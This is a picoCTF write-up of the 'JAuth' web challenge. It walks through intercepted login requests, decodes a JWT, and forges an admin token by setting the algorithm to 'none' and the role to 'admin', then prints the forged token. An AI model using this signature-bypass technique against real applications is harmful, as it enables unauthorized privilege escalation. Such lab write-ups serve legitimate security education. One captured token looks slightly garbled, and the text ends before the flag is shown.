picoCTF - JAuth

The challenge description hints at a potential vulnerability within the website. Upon accessing the site, the initial step is to log in using the provided credentials:

- Username: test
- Password: Test123!

When intercepted through a proxy like Burp, the provided credentials generate a POST request.

```
POST /auth HTTP/1.1
Host: saturn.picoctf.net:49698
Content-Length: 33
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://saturn.picoctf.net:49698
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://saturn.picoctf.net:49698/
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

username=test&password=Test123%21
```

Upon forwarding this request, a subsequent GET request is observed, revealing a token. Decoding this token using Base64 reveals its structure:

```
GET /private HTTP/1.1
Host: saturn.picoctf.net:49698
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://saturn.picoctf.net:49698/
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: token=
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzA5OTAzNjI2MTQzLCJhZ2VudCI6IkivemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGx1V2ViS2l0LzUzNy4zNiAoSOhUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC4wLjYxLjk1IFNhZmFyaS81MzcuMzYiLCJyb2xlIjoidXNlciIsImlhdCI6MTcwOTkwMzYyNn0.kXaVDzr3FEmIOGMSYYp6wo9PAWrkEU80WO3qzX9_ALA
Connection: close
```

This token is a JWT (JSON Web Token) composed of three parts:

- Header: `{"typ":"JWT","alg":"HS256"}`
- Payload: `{"auth":1709903626143,"agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36","role":"user","iat":1709903626}`
- Signature: kXaVDzr3FEmIOGMSYYp6wo9PAWrkEU80WO3qzX9_ALA

The header specifies the algorithm used for token signing, which in this case is HS256. This algorithm ensures the token's integrity by preventing unauthorized modifications. However, JWT also permits the use of the "none" algorithm. By changing the algorithm to "none" in the header, the server no longer verifies the signature, allowing manipulation of the token.

Thus, by modifying the token's header to:

```
{"typ":"JWT","alg":"none"}
```

and adjusting the role to "admin" while retaining the same authentication ID as requested during login:

```
{"auth":1709905054985,"agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95
Safari/537.36","role":"admin","iat":1709905055}
```

we create a new token without including the signature. The final token appears as follows:

```
{"typ":"JWT","alg":"none"}{"auth":1709905054985,"agent":"Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95
Safari/537.36","role":"admin","iat":1709905055}
```

Upon Base64 encoding, the manipulated token yields:

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoxNzA5OTA1MDU0OTg1LCJhZ2VudCI6Ik1veml
sbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTU
wsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC42MjYxLjk1IFNhZmFyaS81MzcuMzYiLCJyb2xlIjoiYWRta
W4iLCJpYXQiOjE3MDk5MDUwNTV9.
```

This manipulated token successfully grants us administrative privileges, as illustrated by the obtained flag:

And we get our flag: